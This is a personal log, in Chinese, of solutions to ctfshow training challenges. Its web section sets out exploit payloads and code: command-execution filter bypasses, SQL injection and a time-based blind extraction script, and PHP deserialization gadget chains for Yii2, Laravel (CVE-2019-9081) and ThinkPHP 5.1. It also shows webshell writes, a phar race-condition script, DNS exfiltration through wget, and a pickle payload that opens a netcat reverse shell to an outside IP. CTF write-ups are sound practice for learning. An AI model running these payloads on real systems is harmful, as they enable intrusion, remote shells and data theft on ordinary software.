CTFSHOW 做题记录

2024.11.13重刷ctfshow题目,此文为记录

WEB入门

Ctrl+U看源码

不能右键,继续Ctrl+U看源码

请求包返回头里面

image.png

提示看 robots.txt 发现提示 /flagishere.txt 直接访问 flag 在里面

提示 phps源码泄露有时候能帮上忙

image.png

提示源码泄露

image.png

提示 版本控制很重要,但不要部署到生产环境更重要。 访问 /.git/index.php

提示 版本控制很重要,但不要部署到生产环境更重要。 访问 /.svn/

提示 发现网页有个错别字?赶紧在生产环境vim改下,不好,死机了 访问源码的缓存文件 index.php.swp

image.png

给 flag 放cookie 里面了

直接域名解析,我做的时候这个域名已经GG了

image.png

访问robots.txt得到/admin/即后台登录路径,主页最下面那个帮助电话就是admin密码,登录即可

提示 技术文档里面不要出现敏感信息,部署到生产环境后及时修改默认密码

翻到最下面可以看到INFORMATION那一列可以下载document,下载后里面有默认账号和密码admin和admin1103以及后台路径/system1103/login.php,登陆即可

提示 有时候源码里面就能不经意间泄露重要(editor)的信息,默认配置害死人

访问/editor/可以看到一个图标长得像回形针的插入文件功能,打开后选择文件空间即可遍历文件。最后访问/nothinghere/fl000g.txt即可拿到flag

提示 公开的信息比如邮箱,可能造成信息泄露,产生严重后果

网页最下面有个qq邮箱,查出来西安的,访问/admin,使用重置密码功能,密保问题是居住地,填西安后把密码重置为admin7789,然后登录即可

提示 对于测试用的探针,使用完毕后要及时删除,可能会造成信息泄露

访问 /tz.php 这是版本是雅黑PHP探针,然后查看phpinfo搜索flag

提示 备份的 sql 文件会泄露敏感信息 备份的sql文件,访问/backup.sql

一个小游戏,说玩到 101 分给 flag 那必然是不可能玩的 直接看源码

image.png
访问110.php得到 flag

看源码发现验证条件,直接 POST 提交出 flag

image.png

提示 mdb文件是早期asp+access构架的数据库文件,文件泄露相当于数据库被脱裤了。

直接查看url路径添加/db/db.mdb 下载文件通过txt打开或者通过EasyAccess.exe打开搜索flag

非原字典

域名失效

?c=system('tac f*g.php');

?c=echo `tac f*`;
?c=passthru("tac%09fla*");
?c=eval($_GET[a]);&a=system('cat flag.php');
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php 嵌套eval+文件包含+伪协议

同32

多过滤 : include已经将语句闭合,不影响后面伪协议代码,payload同Web32

多过滤 < = payload同Web32

多过滤 / 数字,将Web32的payload1改成a继续用

?c=data://text/plain,<?php system('tac fl*');?>

?c=data://text/plain,<?= system('tac fl*');?>

强制给include添加后缀无法阻止伪协议内的php代码执行,只会在代码执行后报错 同38

无参RCE

image.png
还有一种方法 get_defined_vars() 返回一个包含所有已定义变量的多维数组。这些变量包括环境变量、服务器变量和用户定义的变量,例如GET、POST、FILE等等。 next()将内部指针指向数组中的下一个元素,并输出。 array_pop() 函数删除数组中的最后一个元素并返回其值。

image.png

万能密码一把 1' or 1=1--+

1' union select 1,password from ctfshow_user2--+

字段多了一个 1' union select 1,2,password from ctfshow_user3--+

过滤数字和 flag ,把输出结果中的数字进行替换

1' union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,1,'A'),2,'B'),3,'C'),4,'D'),5,'E'),6,'F'),7,'G'),8,'H'),9,'I'),0,'J'),'b' from ctfshow_user4 where username='flag' %23

得到:

ctfshow{bcCBHAEC-fCaG-DCdJ-IFCd-CGbEEBHBfJFB}

替换回去

def restore_password(encrypted_password):
    # 替换规则,按照原SQL语句逆向操作
    replacements = {
        'A': '1',
        'B': '2',
        'C': '3',
        'D': '4',
        'E': '5',
        'F': '6',
        'G': '7',
        'H': '8',
        'I': '9',
        'J': '0',
    }
    
    # 恢复字符串
    restored = ''.join(replacements.get(char, char) for char in encrypted_password)
    return restored

# 示例加密字符串
encrypted = "ctfshow{bcCBHAEC-fCaG-DCdJ-IFCd-CGbEEBHBfJFB}"
# 提取大括号中的内容
content = encrypted.split('{')[1].split('}')[0]

# 恢复字符串
restored_password = restore_password(content)

print(f"加密字符串: {encrypted}")
print(f"恢复后的字符串: {restored_password}")


#ctfshow{bc328153-f3a7-43d0-963d-37b55282f062}
import time
import requests

dicts='1234567890-_{}qwertyuiopasdfghjklzxcvbnm'

flag = ''

for i in range(1,64):
    for s in dicts:
        sql= '1\' and if(substr((select password from ctfshow_user5 where username=\'flag\'),{},1)=\'{}\',sleep(3),0) %23'.format(i,s)
        url = 'http://d2a0c671-e4d9-4ecb-b011-90a5fc68b498.challenge.ctf.show/api/v5.php?id={}&page=1&limit=1'.format(sql)
        start_time = time.time()
        res = requests.get(url)
        stop_time = time.time()
        if stop_time - start_time >= 3:
            flag += s
            print(flag)
            break

大小写绕过 1' uNion sELect 1,2,password from ctfshow_user--+

?username=xxxxxx&password=xxxxxx

GET:?username=xxxxxx&password=xxxxxx Cookie:O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

username 和 password 不相等,并且 isVip 为 True

<?php

class ctfShowUser{
    public $username = 'aaa';
    public $password = 'bbb';
    public $isVip = true;
};

echo serialize(new ctfShowUser());

?>
<?php  

class ctfShowUser{  
    private $username='xxxxxx';  
    private $password='xxxxxx';  
    private $isVip=false;  
    private $class = 'info';  
  
    public function __construct(){        
	    $this->class=new info();  
    }  
    public function login($u,$p){  
        return $this->username===$u&&$this->password===$p;  
    }  
    public function __destruct(){        
	    $this->class->getInfo();  
    }  
  
}  
  
class info{  
    private $user='xxxxxx';  
    public function getInfo(){  
        return $this->user;  
    }  
}  
  
class backDoor{  
    private $code;  
    public function getInfo(){  
        eval($this->code);  
    }  
}  
  
$username=$_GET['username'];  
$password=$_GET['password'];  
  
if(isset($username) && isset($password)){    
	$user = unserialize($_COOKIE['user']);    
	$user->login($username,$password);  
}

简单POP链,想要得到 flag 就需要 backDoor 类中的 geInfo 函数,因为其中包含 eval 函数可以进行命令执行,code这个私有属性储存着我们要执行的命令,触发getInfo的方法在ctfShowUser这个类中,所以我们可以利用他的__destruct函数来触发在创建对象时类的__getInfo()函数,通过ctfShowUser__construct魔术方法来创建backdoor对象

backdoor::getinfo<--ctfShowUser::__destruct<--ctfShowUser::__construct

因为 code 是private属性,所以要进行 urlencode,将不可见字符编码

<?php  
class ctfShowUser{  
private $username='xxxxxx';  
private $password='xxxxxx';  
private $isVip=true;  
    public $class = 'backDoor';  
    public function __construct(){  
        $this->class=new backDoor();  
    }  
}  
class backDoor{  
    public $code='system("tac flag.php");';  
}  
echo urlencode(serialize(new ctfShowUser));
<?php  

class ctfShowUser{  
    public $username='xxxxxx';  
    public $password='xxxxxx';  
    public $isVip=false;  
    public $class = 'info';  
  
    public function __construct(){        $this->class=new info();  
    }  
    public function login($u,$p){  
        return $this->username===$u&&$this->password===$p;  
    }  
    public function __destruct(){        $this->class->getInfo();  
    }  
  
}  
  
class info{  
    public $user='xxxxxx';  
    public function getInfo(){  
        return $this->user;  
    }  
}  
  
class backDoor{  
    public $code;  
    public function getInfo(){  
        eval($this->code);  
    }  
}  
  
$username=$_GET['username'];  
$password=$_GET['password'];  
  
if(isset($username) && isset($password)){  
    if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){        $user = unserialize($_COOKIE['user']);  
    }    $user->login($username,$password);  
}

和上一题类似 过滤了 O:数字: C:数字: 的形式, 可以在数字前面加上 + 绕过 然后之前的 private 全部改成 public 了…

<?php
error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    public $username='aaa';
    public $password='bbb';
    public $class = 'backDoor';
    public function __construct(){
        $this->class=new backDoor();
    }
    public function __destruct(){
        $this->class->getInfo();
    }
}
class backDoor{
    public $code="system('tac f*');";
    public function getInfo(){
        eval($this->code);
    }
}

$a=new ctfShowUser();
$b=serialize($a);
$b=str_replace("O:","O:+",$b);
echo PHP_EOL;
echo urlencode($b);

flag.php

$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);


if($ip!=='127.0.0.1'){
	die('error');
}else{
	$token = $_POST['token'];
	if($token=='ctfshow'){
		file_put_contents('flag.txt',$flag);
	}
}

index.php

<?php  
  
highlight_file(__FILE__);  
  
  
$vip = unserialize($_GET['vip']);  
//vip can get flag one key  
$vip->getFlag();

通过 flag.php 可知必须本地访问flag.php 而且带上token,第一反应就是改 xff 为 127.0.0.1 但是这个题不行,因为有 cloudfare 代理无法通过本地构造XFF绕过,因此这题需要利用原生类的反序列化来实现SSRF,SoapClient原生类的反序列化,在本题的环境当中,由于使用Cloudflare 代理导致,Cloudflare 会将 HTTP 代理的 IP 地址附加到这个标头,在两次调用array_pop后我们取得的始终是固定的服务器IP

这里ip因为被pop了两次,所以分割后只剩了127.0.0.1,绕过了flag.php

poc:

<?php
$ua="ctfshow\r\nx-forwarded-for:127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow";
$client=new SoapClient(null,array('uri'=>"127.0.0.1/",'location'=>"http://127.0.0.1/flag.php",'user_agent'=>$ua));
echo urlencode(serialize($client))
?>

访问flag.txt,得到flag

?ctfshow=O:18:"ctfshow_i_love_36D"

<?php  
  
highlight_file(__FILE__);  
  
class ctfshowvip{  
    public $username;  
    public $password;  
    public $code;  
  
    public function __construct($u,$p){        $this->username=$u;        $this->password=$p;  
    }  
    public function __wakeup(){  
        if($this->username!='' || $this->password!=''){  
            die('error');  
        }  
    }  
    public function __invoke(){  
        eval($this->code);  
    }  
  
    public function __sleep(){        $this->username='';        $this->password='';  
    }  
    public function __unserialize($data){        $this->username=$data['username'];        $this->password=$data['password'];        $this->code = $this->username.$this->password;  
    }  
    public function __destruct(){  
        if($this->code==0x36d){            file_put_contents($this->username, $this->password);  
        }  
    }  
}
unserialize($_GET['vip']);

当 __wakeup() 和 __unserialize() 同时存在时, 仅会执行 __unserialize() 方法

当存在 __serialize() 时, $data 的值为该方法返回的数组, 否则为一个包含反序列化后的全部属性的数组

这里 if($this->code==0x36d) 使用了 == , 会进行类型转换

所以我们只需要构造一个以 0x36d 的十进制数 877 开头的文件名即可

image.png

<?php  
  
class ctfshowvip{  
    public $username = '877.php';  
    public $password = '<?php eval($_REQUEST[1]);?>';  
}  
  
echo serialize(new ctfshowvip());  

反序列化字符串逃逸(字符变多)

这里 str_replace() 将 fuck 替换为 loveU, 多了1个字符,我们需要构造一个序列化的 payload, 内容是 token=admin 所以我们要逃逸的字符串就是这些,一共27个字符 ";s:5:"token";s:5:"admin";} 注意闭合双引号, 以及最后的 }, 其中 } 表示反序列化的终止位置 而每从一个 fuck 到 loveU 能够逃逸1个字符 总 payload 就是 fuck*27 + payload 因为这里属性的顺序是 $from $msg $to $token, 所以我们在 $to 里面填写 payload

?f=123&m=123&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck%22;s:5:%22token%22;s:5:%22admin%22;}

/inc/inc.php 中的 User 类有一处 file_put_contents()

image.png
文件开头
image.png

考点应该是 session 反序列化漏洞

不过找了一遍发现并没有 unserialize(), 如果想要反序列化的话, 那就得用到 session.serialize_handler 之间的差异性

image.png
不过并不知道 php.ini 默认使用的 handler 是什么 但因为 inc.php 里显式的设置了 php 这个 handler, 可以大胆猜测一下默认的是 php_serialize

也就是说 index.php 使用 php_serialize handler 序列化我们传入的 cookie 值, 生成对应的 session 文件

而 inc.php 里使用 php handler 反序列化 session 文件

我们利用 php handler 中的 | 来进行反序列化

<?php

class User{
    public $username;
    public $password;
    function __construct(){
        $this->username = '123.php';
        $this->password = '<?php eval($_POST[1]);?>';
    }
}

echo base64_encode('|'.serialize(new User()));


//fE86NDoiVXNlciI6Mjp7czo4OiJ1c2VybmFtZSI7czo3OiIxMjMucGhwIjtzOjg6InBhc3N3b3JkIjtzOjI0OiI8P3BocCBldmFsKCRfUE9TVFsxXSk7Pz4iO30=

在前面加上 |, 这样的话 session 反序列化的时候 php handler 会默认把 | 前面的内容当做 key, 不会解析, | 后面的才是真正应该反序列化的 value

首先第一次访问 index.php, 得到 PHPSESSID PHPSESSID=ti15gb2rr0op27vae8j814st69;

然后第二次访问 index.php, 在 cookie 中添加这个 PHPSESSID, 并且修改 limit 的值 (注意要将 = urlencode)

image.png

最后访问 check.php (check.php 中引用了 /inc/inc.php)

image.png

访问 log-123.php,get shell

image.png

同web262,只是修复了非预期解

反序列化后 token 重新赋值, md5 加密的随机数 如果想要得到 flag 的话, password 必须跟 token 一模一样 想到了 PHP 中变量的引用 &

& 传递变量的地址, 类似于 c 中的指针

<?php

$a = '123';
$b = &$a;
$a = '456';
echo $b;

//456

这里面 $b 的值就是 $a 的值, 因为 $b 里面存了 $a 的地址, 两者是等价的。同理, 如果改变 $b 的值, $a 的值也同样会改变

<?php

class ctfshowAdmin{
    public $token;
    public $password;

    function __construct(){
        $this->password = &$this->token;
    }
}

echo serialize(new ctfshowAdmin());

可以看到这里面 password 后的字符是 R, 代表引用 (Reference) get 传参后得到 flag

__destruct() 在对象被销毁时会自动调用,我们只需要让 ctfshow 类正确被反序列化即可,但是直接传 ctfshow 会被检测,之后就会抛出异常,如果程序报错或者抛出异常就不会触发 __destruct() 了,因为 throw 那个函数回收了自动销毁的类,导致 __destruct() 检测不到有东西销毁,从而也就无法触发 __destruct()

这里 ctfshow 正则匹配没有 i ,可以大小写绕过

<?php
class CTFSHOW
{
    public $username = 'xxxxxx';
    public $password = 'xxxxxx';
}
$c = new Ctfshow();
echo serialize($c);

image.png

先搜集一下信息 主页面进入源代码。发现是Yii框架,版本为2.0 Login 页面试试用户名密码发现是 admin admin

About 页面提示

image.png

/index.php?r=site%2Fabout&view-source 发现提示

image.png
直接给exp,适用于Yii2 2.0.38 之前的版本

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;
 
        public function __construct(){
            $this->checkAccess = 'passthru';
            $this->id = 'tac /flag';
        }
    }
}
 
namespace Faker{
    use yii\rest\CreateAction;
 
    class Generator{
        protected $formatters;
 
        public function __construct(){
            $this->formatters['close'] = [new CreateAction(), 'run'];
        }
    }
}
 
namespace yii\db{
    use Faker\Generator;
 
    class BatchQueryResult{
        private $_dataReader;
 
        public function __construct(){
            $this->_dataReader = new Generator;
        }
    }
}
namespace{
    echo base64_encode(serialize(new yii\db\BatchQueryResult));
}

payload:

?r=/backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6ODoicGFzc3RocnUiO3M6MjoiaWQiO3M6OToidGFjIC9mbGFnIjt9aToxO3M6MzoicnVuIjt9fX19

补充:上一题传入如下命令,进行 DNS 外带发现网站目录为 /var/www/html/basic/web1.php

shell_exec(wget `pwd|base64`.ha0qmv.dnslog.cn)

发现页面和上一题一样,用上一题 payload 发现没有回显,想到写马进去

<?php  
namespace yii\rest {  
    class Action  
    {  
        public $checkAccess;  
    }  
    class IndexAction  
    {  
        public function __construct($func, $param)  
        {  
            $this->checkAccess = $func;  
            $this->id = $param;  
        }  
    }  
}  
namespace yii\web {  
    abstract class MultiFieldSession  
    {  
        public $writeCallback;  
    }  
    class DbSession extends MultiFieldSession  
    {  
        public function __construct($func, $param)  
        {  
            $this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];  
        }  
    }  
}  
namespace yii\db {  
    use yii\base\BaseObject;  
    class BatchQueryResult  
    {  
        private $_dataReader;  
        public function __construct($func, $param)  
        {  
            $this->_dataReader = new \yii\web\DbSession($func, $param);  
        }  
    }  
}  
namespace {  
    $exp = new \yii\db\BatchQueryResult('shell_exec', 'echo "<?php eval(\$_POST[1]);phpinfo();?>" >/var/www/html/basic/web/1.php');  
    echo(base64_encode(serialize($exp)));  
}

payload:

?r=/backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNzoieWlpXHdlYlxEYlNlc3Npb24iOjE6e3M6MTM6IndyaXRlQ2FsbGJhY2siO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czoxMDoic2hlbGxfZXhlYyI7czoyOiJpZCI7czo3MzoiZWNobyAiPD9waHAgZXZhbChcJF9QT1NUWzFdKTtwaHBpbmZvKCk7Pz4iID4vdmFyL3d3dy9odG1sL2Jhc2ljL3dlYi8xLnBocCI7fWk6MTtzOjM6InJ1biI7fX19

image.png

同上一题

同上一题

laravel 5.7(CVE-2019-9081) poc:

<?php
namespace Illuminate\Foundation\Testing{
    use Illuminate\Auth\GenericUser;
    use Illuminate\Foundation\Application;
    class PendingCommand
    {
        protected $command;
        protected $parameters;
        public $test;
        protected $app;
        public function __construct(){
            $this->command="system";
            $this->parameters[]="cat /flag";
            $this->test=new GenericUser();
            $this->app=new Application();
        }
    }
}
namespace Illuminate\Foundation{
    class Application{
        protected $bindings = [];
        public function __construct(){
            $this->bindings=array(
                'Illuminate\Contracts\Console\Kernel'=>array(
                    'concrete'=>'Illuminate\Foundation\Application'
                )
            );
        }
    }
}
namespace Illuminate\Auth{
    class GenericUser
    {
        protected $attributes;
        public function __construct(){
            $this->attributes['expectedOutput']=['hello','world'];
            $this->attributes['expectedQuestions']=['hello','world'];
        }
    }
}
namespace{
 
    use Illuminate\Foundation\Testing\PendingCommand;
 
    echo urlencode(serialize(new PendingCommand()));
}

payload:

data=O%3A44%3A%22Illuminate%5CFoundation%5CTesting%5CPendingCommand%22%3A4%3A%7Bs%3A10%3A%22%00%2A%00command%22%3Bs%3A6%3A%22system%22%3Bs%3A13%3A%22%00%2A%00parameters%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7Ds%3A4%3A%22test%22%3BO%3A27%3A%22Illuminate%5CAuth%5CGenericUser%22%3A1%3A%7Bs%3A13%3A%22%00%2A%00attributes%22%3Ba%3A2%3A%7Bs%3A14%3A%22expectedOutput%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A5%3A%22hello%22%3Bi%3A1%3Bs%3A5%3A%22world%22%3B%7Ds%3A17%3A%22expectedQuestions%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A5%3A%22hello%22%3Bi%3A1%3Bs%3A5%3A%22world%22%3B%7D%7D%7Ds%3A6%3A%22%00%2A%00app%22%3BO%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00bindings%22%3Ba%3A1%3A%7Bs%3A35%3A%22Illuminate%5CContracts%5CConsole%5CKernel%22%3Ba%3A1%3A%7Bs%3A8%3A%22concrete%22%3Bs%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3B%7D%7D%7D%7D

Laravel 5.8(CVE-2019-9081) poc:

<?php
namespace Illuminate\Broadcasting{
    use Illuminate\Bus\Dispatcher;
    use Illuminate\Foundation\Console\QueuedCommand;
    class PendingBroadcast
    {
        protected $events;
        protected $event;
        public function __construct(){
            $this->events=new Dispatcher();
            $this->event=new QueuedCommand();
        }
    }
}
namespace Illuminate\Foundation\Console{
    class QueuedCommand
    {
        public $connection="cat /flag";
    }
}
namespace Illuminate\Bus{
    class Dispatcher
    {
        protected $queueResolver="system";
 
    }
}
namespace{
 
    use Illuminate\Broadcasting\PendingBroadcast;
 
    echo urlencode(serialize(new PendingBroadcast()));
}

payload:

data=O%3A40%3A%22Illuminate%5CBroadcasting%5CPendingBroadcast%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00events%22%3BO%3A25%3A%22Illuminate%5CBus%5CDispatcher%22%3A1%3A%7Bs%3A16%3A%22%00%2A%00queueResolver%22%3Bs%3A6%3A%22system%22%3B%7Ds%3A8%3A%22%00%2A%00event%22%3BO%3A43%3A%22Illuminate%5CFoundation%5CConsole%5CQueuedCommand%22%3A1%3A%7Bs%3A10%3A%22connection%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7D%7D

image.png
flag在源代码里
image.png

同上一题

ThinkPHP V5.1 F12发现反序列化入口

image.png
exp:

<?php
namespace think;
 
abstract class Model{
    protected $append = [];
    private $data = [];
    public function __construct()
    {
        $this->append = ["li"=>[]];
        $this->data = ["li"=>new Request()];
    }
}
namespace think\process\pipes;
use think\model\Pivot;
class Windows{
    private $files = [];
    public function __construct()
    {
        $this->files = [new Pivot()];
    }
}
namespace think\model;
use think\model;
class Pivot extends Model{
 
}
namespace think;
class Request{
    protected $hook = [];
    protected $filter;
    protected $config;
    protected $param = [];
    public function __construct()
    {
        $this->hook = ["visible"=>[$this,"isAjax"]];
        $this->filter = 'system';
        $this->config = ["var_ajax"=>''];
        $this->param = ['cat /f*'];
    }
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>

payload:

<?php
namespace think;
 
abstract class Model{
    protected $append = [];
    private $data = [];
    public function __construct()
    {
        $this->append = ["li"=>[]];
        $this->data = ["li"=>new Request()];
    }
}
namespace think\process\pipes;
use think\model\Pivot;
class Windows{
    private $files = [];
    public function __construct()
    {
        $this->files = [new Pivot()];
    }
}
namespace think\model;
use think\model;
class Pivot extends Model{
 
}
namespace think;
class Request{
    protected $hook = [];
    protected $filter;
    protected $config;
    protected $param = [];
    public function __construct()
    {
        $this->hook = ["visible"=>[$this,"isAjax"]];
        $this->filter = 'system';
        $this->config = ["var_ajax"=>''];
        $this->param = ['cat /f*'];
    }
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-08 19:13:36
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-08 20:08:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


highlight_file(__FILE__);

class filter{
    public $filename;
    public $filecontent;
    public $evilfile=false;

    public function __construct($f,$fn){
        $this->filename=$f;
        $this->filecontent=$fn;
    }
    public function checkevil(){
        if(preg_match('/php|\.\./i', $this->filename)){
            $this->evilfile=true;
        }
        if(preg_match('/flag/i', $this->filecontent)){
            $this->evilfile=true;
        }
        return $this->evilfile;
    }
    public function __destruct(){
        if($this->evilfile){
            system('rm '.$this->filename);
        }
    }
}

if(isset($_GET['fn'])){
    $content = file_get_contents('php://input');
    $f = new filter($_GET['fn'],$content);
    if($f->checkevil()===false){
        file_put_contents($_GET['fn'], $content);
        copy($_GET['fn'],md5(mt_rand()).'.txt');
        unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
        echo 'work done';
    }
    
}else{
    echo 'where is flag?';
}

这题的关键点在于$evilfiletrue或者为false

如果为true的话,就会执行

//可以通过拼接逃逸出来
  if($this->evilfile){
            system('rm '.$this->filename);
        }

如果为false的话,就会执行

  if($f->checkevil()===false){
  		//写入文件内容
        file_put_contents($_GET['fn'], $content);
        //复制文件,生成的新文件名进行md5加密+随机数
        copy($_GET['fn'],md5(mt_rand()).'.txt');
        //删除原来的文件
        unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
        echo 'work done';
    }

很显然只要为 true 就能轻松逃逸并且RCE ?fn=php;tac%20flag.php

和上一题主要差异在新增 $admin 不可控

public function __destruct(){
    if($this->evilfile && $this->admin){
        system('rm '.$this->filename);
    }
}

利用 phar 反序列化 + 条件竞争去做 生成 phar 文件

<?php  
  
class filter{  
    public $filename;  
    public $filecontent;  
    public $evilfile=true;  
    public $admin = true;  
  
    public function __construct($f='',$fn=''){  
        $this->filename='1;tac fla?.ph?';  
        $this->filecontent='';  
    }  
}  
  
@unlink("phar.phar"); //删除之前的 phar.phar文件(如果有)  
$phar = new Phar("phar.phar");  
$phar -> startBuffering();  
$phar -> setStub("<?php __HALT_COMPILER(); ?>"); //设置stub头  
$a = new filter();  //实例化一个filter类  
$phar -> setMetadata($a); //将创建的对象a写入到Metadata中  
$phar -> addFromString("test.txt","test"); //添加要进行压缩的文件,文件名为test,文件内容为testaaa  
$phar -> stopBuffering();

image.png

条件竞争

import requests  
import time  
import threading  
  
success = False  
#读取 phar 包内容  
def getPhar(phar):  
    with open(phar,'rb') as p:  
        return p.read()  
  
#写入phar包内容  
def writePhar(url, data):  
    print('writing...')  
    requests.post(url, data=data)  
  
#触发unlink的Phar反序列化  
def urlinkPhar(url, data):  
    global success  
    print('unlinking...')  
    res = requests.post(url, data=data)  
    if 'ctfshow' in res.text and success is False:  
        print(res.text)  
        success = True  
  
def main():  
    global success  
    url = 'http://3bef0c86-19e9-407f-b2f2-28f3f876655a.challenge.ctf.show/'  
    phar = getPhar('phar.phar')  
    while success is False:  
        time.sleep(1)  
        w = threading.Thread(target=writePhar,args=(url+'?fn=p.phar',phar))  
        u = threading.Thread(target=urlinkPhar,args=(url+'?fn=phar://p.phar/test',''))  
        w.start()  
        u.start()  
  
if __name__ == '__main__':  
    main()

image.png

源代码有注释

image.png
可以看出是 pickle 反序列化,这里直接利用 __reduce__ 执行命令,由于无回显,直接反弹shell

import pickle  
import os  
import base64  
  
  
class CTFshow():  
    def __reduce__(self):  
        return (eval,("__import__('os').popen('nc 189.1.247.20 6666 -e /bin/sh').read()",))  
  
cs = CTFshow()  
csgo = pickle.dumps(cs)  
print(base64.b64encode(csgo))

image.png

过滤了os.system 换成 os.popen 同上

<?php  

error_reporting(0);  
libxml_disable_entity_loader(false); 
//允许加载外部实体
$xmlfile = file_get_contents('php://input');  
if(isset($xmlfile)){    
	$dom = new DOMDocument();  //DOMDocument,表示整个HTML或XML文档;作为文档树的根
	//创建一个新的 DOMDocument 对象,用于解析 XML
	$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
	//loadXML,从一个字符串中,加载一个XML文档,并启用外部实体和DTD加载。LIBXML_NOENT 使解析器替换实体为它们的值,LIBXML_DTDLOAD 使解析器加载外部 DTD。攻击者可以通过在 XML 中定义外部实体来读取服务器上的本地文件或触发其他不安全的操作。
	$creds = simplexml_import_dom($dom);
	//将 DOMDocument 转换为一个SimpleXMLElement对象,方便访问数据节点 
	$ctfshow = $creds->ctfshow
	//提取 XML 对象中的 <ctfshow> 标签内容
	echo $ctfshow;  
}  
highlight_file(__FILE__);

这里我们就可以POST传一个读取服务器的xml,被php://input解析并加载后,通过echo我们就可以看到flag了:

<!DOCTYPE test [ 
<!ENTITY xxe SYSTEM "file:///flag"> 
]> 
<sun> 
<ctfshow>&xxe;</ctfshow> 
</sun>
<?php  
error_reporting(0);  
libxml_disable_entity_loader(false);  
$xmlfile = file_get_contents('php://input');  
if(isset($xmlfile)){    
	$dom = new DOMDocument();
	$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);  
}  
highlight_file(__FILE__);

Misc入门

打开就是 flag

misc1.png

010editor 打开看到PNG头,将后缀改为 PNG 打开为 flag

image.png

给的是一个 bpg 后缀的文件,用 bpgview.exe 打开

image.png

发现 6个 txt 文件,通过文件头来判断类型

JPEG (jpg) 文件头:FF D8 FF  文件尾:FF D9

PNG (png),文件头:89504E47

Windows Bitmap (bmp), 文件头:424D 文件尾:

GIF (gif),文件头:47494638

XML (xml),文件头:3C3F786D6C

HTML (html),文件头:68746D6C3E

MS Word/Excel (xls.or.doc),文件头:D0CF11E0

MS Access (mdb),文件头:5374616E64617264204A

Adobe Acrobat (pdf),文件头:255044462D312E

Windows Password (pwl),文件头:E3828596

ZIP Archive (zip),文件头:504B0304

RAR Archive (rar),文件头:52617221

Wave (wav),文件头:57415645

AVI (avi),文件头:41564920

TIFF (tif), 文件头:49492A00 文件尾:

WebP (webp), 文件头:52494646......57454250 (RIFF......WEBP)

拼接图片中的 flag

image.png

打开图片发现是错误 flag ,用010editor 打开发现真实 flag 藏在文件尾部

image.png

和上一题类似 flag 藏在文件中

image.png

和上一题类似 flag 藏在文件中

image.png

foremost 分离出两张图片,另一张为真正的flag图片

image.png

010editor 查找

相关内容